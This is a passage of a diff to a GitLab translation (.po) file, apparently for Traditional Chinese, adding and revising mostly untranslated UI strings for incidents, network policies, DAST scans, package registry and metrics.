@@ -12225,6 +12518,9 @@ msgstr ""
msgid "Health status"
msgstr ""
+msgid "Health status cannot be edited because this issue is closed"
+msgstr ""
+
msgid "HealthCheck|Access token is"
msgstr ""
@@ -12240,6 +12536,9 @@ msgstr ""
msgid "Hello there"
msgstr ""
+msgid "Hello, %{username}!"
+msgstr ""
+
msgid "Help"
msgstr ""
@@ -12368,6 +12667,9 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
+msgid "How to upgrade"
+msgstr ""
+
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -12524,6 +12826,12 @@ msgstr ""
msgid "If you remove this license, GitLab will fall back on the previous license, if any."
msgstr ""
+msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -12677,6 +12985,9 @@ msgstr ""
msgid "ImportProjects|Importing the project failed: %{reason}"
msgstr ""
+msgid "ImportProjects|Requesting namespaces failed"
+msgstr ""
+
msgid "ImportProjects|Requesting your %{provider} repositories failed"
msgstr ""
@@ -12692,6 +13003,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Improve Issue Boards"
+msgstr ""
+
msgid "Improve Issue boards"
msgstr ""
@@ -12704,13 +13018,13 @@ msgstr ""
msgid "Improve customer support with GitLab Service Desk."
msgstr ""
-msgid "Improve search with Advanced Global Search and GitLab Enterprise Edition."
+msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
msgid "In %{time_to_now}"
msgstr ""
-msgid "In order to enable instance-level analytics, please ask an admin to enable %{usage_ping_link_start}usage ping%{usage_ping_link_end}."
+msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
msgstr ""
msgid "In order to gather accurate feature usage data, it can take 1 to 2 weeks to see your index."
@@ -12719,21 +13033,24 @@ msgstr ""
msgid "In order to personalize your experience with GitLab%{br_tag}we would like to know a bit more about you."
msgstr ""
-msgid "In order to tailor your experience with GitLab we%{br_tag}would like to know a bit more about you."
-msgstr ""
-
msgid "In progress"
msgstr ""
msgid "In the next step, you'll be able to select the projects you want to import."
msgstr ""
+msgid "Incident"
+msgstr ""
+
msgid "Incident Management Limits"
msgstr ""
msgid "IncidentManagement|All"
msgstr ""
+msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgstr ""
+
msgid "IncidentManagement|Assignees"
msgstr ""
@@ -12746,6 +13063,9 @@ msgstr ""
msgid "IncidentManagement|Date created"
msgstr ""
+msgid "IncidentManagement|Display your incidents in a dedicated view"
+msgstr ""
+
msgid "IncidentManagement|Incident"
msgstr ""
@@ -12764,6 +13084,9 @@ msgstr ""
msgid "IncidentManagement|Published to status page"
msgstr ""
+msgid "IncidentManagement|There are no closed incidents"
+msgstr ""
+
msgid "IncidentManagement|There was an error displaying the incidents."
msgstr ""
@@ -12839,6 +13162,9 @@ msgstr ""
msgid "Index all projects"
msgstr ""
+msgid "Index deletion is canceled"
+msgstr ""
+
msgid "Indicates whether this runner can pick jobs without tags"
msgstr ""
@@ -12905,6 +13231,9 @@ msgstr ""
msgid "Install on clusters"
msgstr ""
+msgid "Installation"
+msgstr ""
+
msgid "Installed"
msgstr ""
@@ -12918,7 +13247,7 @@ msgstr[0] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics visibility"
+msgid "Instance Statistics"
msgstr ""
msgid "Instance administrators group already exists"
@@ -12945,6 +13274,12 @@ msgstr ""
msgid "Integrations|Comment settings:"
msgstr ""
+msgid "Integrations|Default settings are inherited from the group level."
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the instance level."
+msgstr ""
+
msgid "Integrations|Enable comments"
msgstr ""
@@ -12957,13 +13292,10 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
-msgid "Integrations|This integration has multiple settings available."
-msgstr ""
-
msgid "Integrations|Use custom settings"
msgstr ""
-msgid "Integrations|Use instance level settings"
+msgid "Integrations|Use default settings"
msgstr ""
msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created."
@@ -12993,7 +13325,7 @@ msgstr ""
msgid "Introducing Value Stream Analytics"
msgstr ""
-msgid "Introducing Your DevOps Score"
+msgid "Introducing Your DevOps Report"
msgstr ""
msgid "Invalid Git ref"
@@ -13005,9 +13337,15 @@ msgstr ""
msgid "Invalid Login or password"
msgstr ""
+msgid "Invalid OS"
+msgstr ""
+
msgid "Invalid URL"
msgstr ""
+msgid "Invalid board"
+msgstr ""
+
msgid "Invalid container_name"
msgstr ""
@@ -13104,6 +13442,39 @@ msgstr ""
msgid "Invite teammates (optional)"
msgstr ""
+msgid "InviteEmail|%{inviter} invited you"
+msgstr ""
+
+msgid "InviteEmail|%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|Join now"
+msgstr ""
+
+msgid "InviteEmail|You are invited!"
+msgstr ""
+
+msgid "InviteEmail|You have been invited"
+msgstr ""
+
+msgid "InviteEmail|to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|to join the %{strong_start}%{project_or_group_name}%{strong_end}"
+msgstr ""
+
+msgid "InviteMembersBanner|Collaborate with your team"
+msgstr ""
+
+msgid "InviteMembersBanner|Invite your colleagues"
+msgstr ""
+
+msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
+msgstr ""
+
+msgid "Invited"
+msgstr ""
+
msgid "Invited users will be added with developer level permissions. You can always change this later."
msgstr ""
@@ -13143,6 +13514,9 @@ msgstr ""
msgid "Issue %{issue_reference} has already been added to epic %{epic_reference}."
msgstr ""
+msgid "Issue Analytics"
+msgstr ""
+
msgid "Issue Boards"
msgstr ""
@@ -13242,9 +13616,6 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues Analytics"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
@@ -13386,6 +13757,9 @@ msgstr ""
msgid "JiraService| on branch %{branch_link}"
msgstr ""
+msgid "JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab."
+msgstr ""
+
msgid "JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}"
msgstr ""
@@ -13428,6 +13802,9 @@ msgstr ""
msgid "JiraService|Password or API token"
msgstr ""
+msgid "JiraService|This feature requires a Premium plan."
+msgstr ""
+
msgid "JiraService|Transition ID(s)"
msgstr ""
@@ -13443,6 +13820,9 @@ msgstr ""
msgid "JiraService|Username or Email"
msgstr ""
+msgid "JiraService|Using Jira for issue tracking?"
+msgstr ""
+
msgid "JiraService|View Jira issues in GitLab"
msgstr ""
@@ -13731,7 +14111,7 @@ msgstr ""
msgid "Labels can be applied to issues and merge requests."
msgstr ""
-msgid "Labels|<span>Promote label</span> %{labelTitle} <span>to Group Label?</span>"
+msgid "Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}"
msgstr ""
msgid "Labels|Promote Label"
@@ -13960,7 +14340,7 @@ msgstr ""
msgid "License ID:"
msgstr ""
-msgid "License URL"
+msgid "License overview"
msgstr ""
msgid "License-Check"
@@ -14053,10 +14433,10 @@ msgstr ""
msgid "LicenseCompliance|Remove license?"
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses in this project."
+msgid "LicenseCompliance|There are currently no policies in this project."
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses that match in this project."
+msgid "LicenseCompliance|There are currently no policies that match in this project."
msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
@@ -14083,6 +14463,9 @@ msgstr ""
msgid "Licensed to"
msgstr ""
+msgid "Licensed to:"
+msgstr ""
+
msgid "Licenses"
msgstr ""
@@ -14146,9 +14529,6 @@ msgstr ""
msgid "License|License"
msgstr ""
-msgid "License|Licensed user count exceeded"
-msgstr ""
-
msgid "License|You can restore access to the Gold features at any time by upgrading."
msgstr ""
@@ -14164,9 +14544,6 @@ msgstr ""
msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
msgstr ""
-msgid "License|Your instance has exceeded your subscription's number of licensed users by %{extra_users_count}. You can continue to add more users and we'll include the overage in your next bill."
-msgstr ""
-
msgid "Limit display of time tracking units to hours."
msgstr ""
@@ -14219,6 +14596,9 @@ msgstr ""
msgid "List available repositories"
msgstr ""
+msgid "List of all merge commits"
+msgstr ""
+
msgid "List settings"
msgstr ""
@@ -14240,6 +14620,9 @@ msgstr ""
msgid "Load more"
msgstr ""
+msgid "Load more users"
+msgstr ""
+
msgid "Loading"
msgstr ""
@@ -14291,7 +14674,7 @@ msgstr ""
msgid "Lock the discussion"
msgstr ""
-msgid "Lock this %{issuableDisplayName}? Only <strong>project members</strong> will be able to comment."
+msgid "Lock this %{issuableDisplayName}? Only %{strongStart}project members%{strongEnd} will be able to comment."
msgstr ""
msgid "Lock to current projects"
@@ -14342,6 +14725,12 @@ msgstr "MD5"
msgid "MERGED"
msgstr ""
+msgid "MR widget|Back to the Merge request"
+msgstr ""
+
+msgid "MR widget|See your pipeline in action"
+msgstr ""
+
msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
msgstr ""
@@ -14357,6 +14746,9 @@ msgstr ""
msgid "MRApprovals|Approvers"
msgstr ""
+msgid "MRApprovals|Commented by"
+msgstr ""
+
msgid "MRDiff|Show changes only"
msgstr ""
@@ -14441,9 +14833,6 @@ msgstr ""
msgid "Manifest import"
msgstr ""
-msgid "Manual job"
-msgstr ""
-
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -14555,9 +14944,6 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
-msgid "Maven Metadata"
-msgstr ""
-
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -14693,6 +15079,15 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
+msgid "Members invited to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
+msgid "Members of %{group} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "Members of %{group} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "Members of %{strong_open}%{project_name}%{strong_close}"
msgstr ""
@@ -14702,9 +15097,6 @@ msgstr ""
msgid "Members with access to %{strong_start}%{group_name}%{strong_end}"
msgstr ""
-msgid "Members with pending access to %{strong_start}%{group_name}%{strong_end}"
-msgstr ""
-
msgid "Memory Usage"
msgstr ""
@@ -14732,15 +15124,15 @@ msgstr ""
msgid "Merge Requests"
msgstr ""
-msgid "Merge Requests closed"
-msgstr ""
-
msgid "Merge Requests created"
msgstr ""
msgid "Merge Requests in Review"
msgstr ""
+msgid "Merge Requests merged"
+msgstr ""
+
msgid "Merge automatically (%{strategy})"
msgstr ""
@@ -14756,6 +15148,9 @@ msgstr ""
msgid "Merge in progress"
msgstr ""
+msgid "Merge locally"
+msgstr ""
+
msgid "Merge options"
msgstr ""
@@ -14819,6 +15214,27 @@ msgstr ""
msgid "MergeConflict|origin//their changes"
msgstr ""
+msgid "MergeRequestAnalytics|Assignees"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Date Merged"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Line changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Merge Request"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Milestone"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Pipelines"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Time to merge"
+msgstr ""
+
msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
msgstr ""
@@ -14951,6 +15367,12 @@ msgstr ""
msgid "MetricChart|Selected"
msgstr ""
+msgid "MetricChart|There is no data available. Please change your selection."
+msgstr ""
+
+msgid "MetricChart|There is too much data to calculate. Please change your selection."
+msgstr ""
+
msgid "Metrics"
msgstr ""
@@ -15053,6 +15475,12 @@ msgstr ""
msgid "Metrics|Check out the CI/CD documentation on deploying to an environment"
msgstr ""
+msgid "Metrics|Collapse panel"
+msgstr ""
+
+msgid "Metrics|Collapse panel (Esc)"
+msgstr ""
+
msgid "Metrics|Copy YAML"
msgstr ""
@@ -15062,9 +15490,6 @@ msgstr ""
msgid "Metrics|Create custom dashboard %{fileName}"
msgstr ""
-msgid "Metrics|Create dashboard"
-msgstr ""
-
msgid "Metrics|Create metric"
msgstr ""
@@ -15098,9 +15523,15 @@ msgstr ""
msgid "Metrics|Duplicate dashboard"
msgstr ""
+msgid "Metrics|Duplicate this dashboard to add panel or edit dashboard YAML."
+msgstr ""
+
msgid "Metrics|Duplicating..."
msgstr ""
+msgid "Metrics|Edit dashboard YAML"
+msgstr ""
+
msgid "Metrics|Edit metric"
msgid_plural "Metrics|Edit metrics"
msgstr[0] ""
@@ -15111,9 +15542,6 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
-msgid "Metrics|Go back (Esc)"
-msgstr ""
-
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -15141,6 +15569,9 @@ msgstr ""
msgid "Metrics|Min"
msgstr ""
+msgid "Metrics|More actions"
+msgstr ""
+
msgid "Metrics|Must be a valid PromQL query."
msgstr ""
@@ -15165,6 +15596,9 @@ msgstr ""
msgid "Metrics|Prometheus Query Documentation"
msgstr ""
+msgid "Metrics|Refresh Prometheus data"
+msgstr ""
+
msgid "Metrics|Refresh dashboard"
msgstr ""
@@ -15243,6 +15677,9 @@ msgstr ""
msgid "Metrics|View logs"
msgstr ""
+msgid "Metrics|View runbook - %{label}"
+msgstr ""
+
msgid "Metrics|Y-axis label"
msgstr ""
@@ -15292,12 +15729,18 @@ msgid "Milestone"
msgid_plural "Milestones"
msgstr[0] ""
+msgid "Milestone does not support burnup charts"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
msgid "Milestone lists show all issues from the selected milestone."
msgstr ""
+msgid "Milestone must have a start and due date"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -15463,6 +15906,15 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Missing OAuth configuration for GitHub."
+msgstr ""
+
+msgid "Missing OS"
+msgstr ""
+
+msgid "Missing arch"
+msgstr ""
+
msgid "Missing commit signatures endpoint!"
msgstr ""
@@ -15508,6 +15960,9 @@ msgstr ""
msgid "Monitoring"
msgstr ""
+msgid "Month"
+msgstr ""
+
msgid "Months"
msgstr ""
@@ -15697,12 +16152,45 @@ msgstr ""
msgid "Network Policy|New rule"
msgstr ""
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is outbound to a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}Then%{labelEnd} %{action} %{spanStart}the network traffic.%{spanEnd}"
+msgstr ""
+
+msgid "NetworkPolicies|%{number} selected"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}all%{strongClose} pods"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}any%{strongClose} port"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml"
+msgstr ""
+
msgid "NetworkPolicies|.yaml mode"
msgstr ""
msgid "NetworkPolicies|Actions"
msgstr ""
+msgid "NetworkPolicies|All selected"
+msgstr ""
+
+msgid "NetworkPolicies|Allow"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
+msgstr ""
+
msgid "NetworkPolicies|Choose whether to enforce this policy."
msgstr ""
@@ -15712,6 +16200,9 @@ msgstr ""
msgid "NetworkPolicies|Define this policy's location, conditions and actions."
msgstr ""
+msgid "NetworkPolicies|Deny all traffic"
+msgstr ""
+
msgid "NetworkPolicies|Description"
msgstr ""
@@ -15724,6 +16215,9 @@ msgstr ""
msgid "NetworkPolicies|Environment does not have deployment platform"
msgstr ""
+msgid "NetworkPolicies|IP/subnet"
+msgstr ""
+
msgid "NetworkPolicies|If you are using Auto DevOps, your %{monospacedStart}auto-deploy-values.yaml%{monospacedEnd} file will not be updated if you change a policy in this section. Auto DevOps users should make changes by following the %{linkStart}Container Network Policy documentation%{linkEnd}."
msgstr ""
@@ -15742,12 +16236,18 @@ msgstr ""
msgid "NetworkPolicies|Network Policy"
msgstr ""
+msgid "NetworkPolicies|Network traffic"
+msgstr ""
+
msgid "NetworkPolicies|New policy"
msgstr ""
msgid "NetworkPolicies|No policies detected"
msgstr ""
+msgid "NetworkPolicies|None selected"
+msgstr ""
+
msgid "NetworkPolicies|Policies are a specification of how groups of pods are allowed to communicate with each other's network endpoints."
msgstr ""
@@ -15772,9 +16272,15 @@ msgstr ""
msgid "NetworkPolicies|Policy type"
msgstr ""
+msgid "NetworkPolicies|Rule"
+msgstr ""
+
msgid "NetworkPolicies|Rule mode"
msgstr ""
+msgid "NetworkPolicies|Rule mode is unavailable for this policy. In some cases, we cannot parse the YAML file back into the rules editor."
+msgstr ""
+
msgid "NetworkPolicies|Rules"
msgstr ""
@@ -15787,9 +16293,54 @@ msgstr ""
msgid "NetworkPolicies|Status"
msgstr ""
+msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
+msgstr ""
+
msgid "NetworkPolicies|YAML editor"
msgstr ""
+msgid "NetworkPolicies|all DNS names"
+msgstr ""
+
+msgid "NetworkPolicies|all IP addresses"
+msgstr ""
+
+msgid "NetworkPolicies|any pod"
+msgstr ""
+
+msgid "NetworkPolicies|any port"
+msgstr ""
+
+msgid "NetworkPolicies|domain name"
+msgstr ""
+
+msgid "NetworkPolicies|entity"
+msgstr ""
+
+msgid "NetworkPolicies|inbound to"
+msgstr ""
+
+msgid "NetworkPolicies|nowhere"
+msgstr ""
+
+msgid "NetworkPolicies|outbound from"
+msgstr ""
+
+msgid "NetworkPolicies|pod with labels"
+msgstr ""
+
+msgid "NetworkPolicies|pods %{pods}"
+msgstr ""
+
+msgid "NetworkPolicies|pods with labels"
+msgstr ""
+
+msgid "NetworkPolicies|ports %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|ports/protocols"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -16181,12 +16732,18 @@ msgstr ""
msgid "No required pipeline"
msgstr ""
+msgid "No runner executable"
+msgstr ""
+
msgid "No runners found"
msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No source selected"
+msgstr ""
+
msgid "No stack trace for this error"
msgstr ""
@@ -16274,18 +16831,12 @@ msgstr ""
msgid "Not started"
msgstr ""
-msgid "Not-confidential epic cannot be assigned to a confidential parent epic"
-msgstr ""
-
msgid "Note"
msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
-msgid "Note that PostgreSQL %{pg_version_upcoming} will become the minimum required version in GitLab %{gl_version_upcoming} (%{gl_version_upcoming_date}). Please consider upgrading your environment to a supported PostgreSQL version soon, see <a href=\"%{pg_version_upcoming_url}\">the related epic</a> for details."
-msgstr ""
-
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -16433,9 +16984,6 @@ msgstr ""
msgid "Novice"
msgstr ""
-msgid "Now you can access the merge request navigation tabs at the top, where they’re easier to find."
-msgstr ""
-
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
@@ -16475,9 +17023,6 @@ msgstr ""
msgid "Number of files touched"
msgstr ""
-msgid "OAuth configuration for GitHub missing."
-msgstr ""
-
msgid "OK"
msgstr "確定"
@@ -16520,21 +17065,27 @@ msgstr ""
msgid "OnDemandScans|Attached branch is where the scan job runs."
msgstr ""
+msgid "OnDemandScans|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not run the scan. Please try again."
msgstr ""
-msgid "OnDemandScans|Could not run the scan: %{backendErrorMessage}"
+msgid "OnDemandScans|Create a new site profile"
msgstr ""
msgid "OnDemandScans|Create new DAST scan"
msgstr ""
-msgid "OnDemandScans|DAST will scan the target URL and any discovered sub URLs."
+msgid "OnDemandScans|Manage profiles"
msgstr ""
msgid "OnDemandScans|New on-demand DAST scan"
msgstr ""
+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed site profile."
+msgstr ""
+
msgid "OnDemandScans|On-demand Scans"
msgstr ""
@@ -16544,25 +17095,31 @@ msgstr ""
msgid "OnDemandScans|Only a passive scan can be performed on demand."
msgstr ""
-msgid "OnDemandScans|Passive DAST Scan"
+msgid "OnDemandScans|Passive"
msgstr ""
-msgid "OnDemandScans|Please enter a valid URL format, ex: http://www.example.com/home"
+msgid "OnDemandScans|Run scan"
msgstr ""
-msgid "OnDemandScans|Run this scan"
+msgid "OnDemandScans|Scan mode"
msgstr ""
-msgid "OnDemandScans|Scan mode"
+msgid "OnDemandScans|Scanner settings"
msgstr ""
msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Target URL"
+msgid "OnDemandScans|Select one of the existing profiles"
+msgstr ""
+
+msgid "OnDemandScans|Site profiles"
msgstr ""
-msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its respositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
+msgstr ""
+
+msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
msgid "Once a project is permanently deleted it cannot be recovered. You will lose this project's repository and all content: issues, merge requests etc."
@@ -16620,9 +17177,6 @@ msgstr ""
msgid "Only active this projects shows up in the search and on the dashboard."
msgstr ""
-msgid "Only admins"
-msgstr ""
-
msgid "Only admins can delete project"
msgstr ""
@@ -16641,6 +17195,9 @@ msgstr ""
msgid "Only project members will be imported. Group members will be skipped."
msgstr ""
+msgid "Only projects created under a Gold license are available in Security Dashboards."
+msgstr ""
+
msgid "Only verified users with an email address in any of these domains can be added to the group."
msgstr ""
@@ -16656,9 +17213,15 @@ msgstr ""
msgid "Open Selection"
msgstr ""
+msgid "Open Web IDE"
+msgstr ""
+
msgid "Open comment type dropdown"
msgstr ""
+msgid "Open epics"
+msgstr ""
+
msgid "Open errors"
msgstr ""
@@ -16779,18 +17342,12 @@ msgstr ""
msgid "Outbound requests"
msgstr ""
-msgid "OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11."
-msgstr ""
-
msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
msgstr ""
msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
msgstr ""
-msgid "OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels."
-msgstr ""
-
msgid "Outdent"
msgstr ""
@@ -16824,9 +17381,6 @@ msgstr ""
msgid "Package deleted successfully"
msgstr ""
-msgid "Package information"
-msgstr ""
-
msgid "Package recipe already exists"
msgstr ""
@@ -16911,6 +17465,12 @@ msgstr ""
msgid "PackageRegistry|Copy npm setup command"
msgstr ""
+msgid "PackageRegistry|Copy registry include"
+msgstr ""
+
+msgid "PackageRegistry|Copy require package include"
+msgstr ""
+
msgid "PackageRegistry|Copy yarn command"
msgstr ""
@@ -16926,6 +17486,9 @@ msgstr ""
msgid "PackageRegistry|Filter by name"
msgstr ""
+msgid "PackageRegistry|For more information on Composer packages in GitLab, %{linkStart}see the documentation.%{linkEnd}"
+msgstr ""
+
msgid "PackageRegistry|For more information on the Conan registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
@@ -16944,9 +17507,6 @@ msgstr ""
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}pom.xml%{codeEnd} file."
msgstr ""
-msgid "PackageRegistry|Installation"
-msgstr ""
-
msgid "PackageRegistry|Is your favorite package manager missing? We'd love your help in building first-class support for it into GitLab! %{contributionLinkStart}Visit the contribution documentation%{contributionLinkEnd} to learn more about how to build support for new package managers into GitLab. Below is a list of package managers that are on our radar."
msgstr ""
@@ -16983,27 +17543,18 @@ msgstr ""
msgid "PackageRegistry|Pip Command"
msgstr ""
-msgid "PackageRegistry|Pipeline %{linkStart}%{linkEnd} triggered %{timestamp} by %{author}"
-msgstr ""
-
msgid "PackageRegistry|Pipeline %{link} triggered %{datetime} by %{author}"
msgstr ""
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Published to the repository at %{timestamp}"
-msgstr ""
-
msgid "PackageRegistry|PyPi"
msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
-msgid "PackageRegistry|Registry Setup"
-msgstr ""
-
msgid "PackageRegistry|Remove package"
msgstr ""
@@ -17052,13 +17603,19 @@ msgstr ""
msgid "PackageRegistry|You may also need to setup authentication using an auth token. %{linkStart}See the documentation%{linkEnd} to find out more."
msgstr ""
-msgid "PackageRegistry|npm"
+msgid "PackageRegistry|composer.json registry include"
+msgstr ""
+
+msgid "PackageRegistry|composer.json require package include"
+msgstr ""
+
+msgid "PackageRegistry|npm command"
msgstr ""
msgid "PackageRegistry|published by %{author}"
msgstr ""
-msgid "PackageRegistry|yarn"
+msgid "PackageRegistry|yarn command"
msgstr ""
msgid "PackageType|Composer"
@@ -17202,7 +17759,7 @@ msgstr ""
msgid "Password successfully changed"
msgstr ""
-msgid "Password was successfully updated. Please login with it"
+msgid "Password was successfully updated. Please sign in again."
msgstr ""
msgid "Passwords should be unique and not used for any other sites or services."
@@ -17706,6 +18263,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your administrator with any questions."
+msgstr ""
+
msgid "Please contact your administrator."
msgstr ""
@@ -17859,13 +18419,13 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
+msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
+msgid "Preferences|Customize integrations with third party services."
msgstr ""
-msgid "Preferences|Default dashboard"
+msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
@@ -17877,6 +18437,9 @@ msgstr ""
msgid "Preferences|For example: 30 mins ago."
msgstr ""
+msgid "Preferences|Homepage content"
+msgstr ""
+
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
@@ -18168,15 +18731,9 @@ msgstr ""
msgid "Profiles|Default notification email"
msgstr ""
-msgid "Profiles|Delete Account"
-msgstr ""
-
msgid "Profiles|Delete account"
msgstr ""
-msgid "Profiles|Delete your account?"
-msgstr ""
-
msgid "Profiles|Deleting an account has the following effects:"
msgstr ""
@@ -18567,6 +19124,9 @@ msgstr ""
msgid "Project visibility level will be changed to match namespace rules when transferring to a group."
msgstr ""
+msgid "Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "Project: %{name}"
msgstr ""
@@ -18591,6 +19151,9 @@ msgstr ""
msgid "ProjectFileTree|Name"
msgstr ""
+msgid "ProjectFileTree|Show more"
+msgstr ""
+
msgid "ProjectLastActivity|Never"
msgstr ""
@@ -19182,7 +19745,7 @@ msgstr ""
msgid "PrometheusAlerts|Operator"
msgstr ""
-msgid "PrometheusAlerts|Runbook"
+msgid "PrometheusAlerts|Runbook URL (optional)"
msgstr ""
msgid "PrometheusAlerts|Select query"
@@ -19191,10 +19754,19 @@ msgstr ""
msgid "PrometheusAlerts|Threshold"
msgstr ""
-msgid "PrometheusService|%{exporters} with %{metrics} were found"
+msgid "PrometheusAlerts|exceeded"
+msgstr ""
+
+msgid "PrometheusAlerts|https://gitlab.com/gitlab-com/runbooks"
+msgstr ""
+
+msgid "PrometheusAlerts|is equal to"
msgstr ""
-msgid "PrometheusService|<p class=\"text-tertiary\">No <a href=\"%{docsUrl}\">common metrics</a> were found</p>"
+msgid "PrometheusAlerts|is less than"
+msgstr ""
+
+msgid "PrometheusService|%{exporters} with %{metrics} were found"
msgstr ""
msgid "PrometheusService|Active"
@@ -19254,6 +19826,9 @@ msgstr ""
msgid "PrometheusService|New metric"
msgstr ""
+msgid "PrometheusService|No %{docsUrlStart}common metrics%{docsUrlEnd} were found"
+msgstr ""
+
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
@@ -19308,6 +19883,9 @@ msgstr ""
msgid "Promoted issue to an epic."
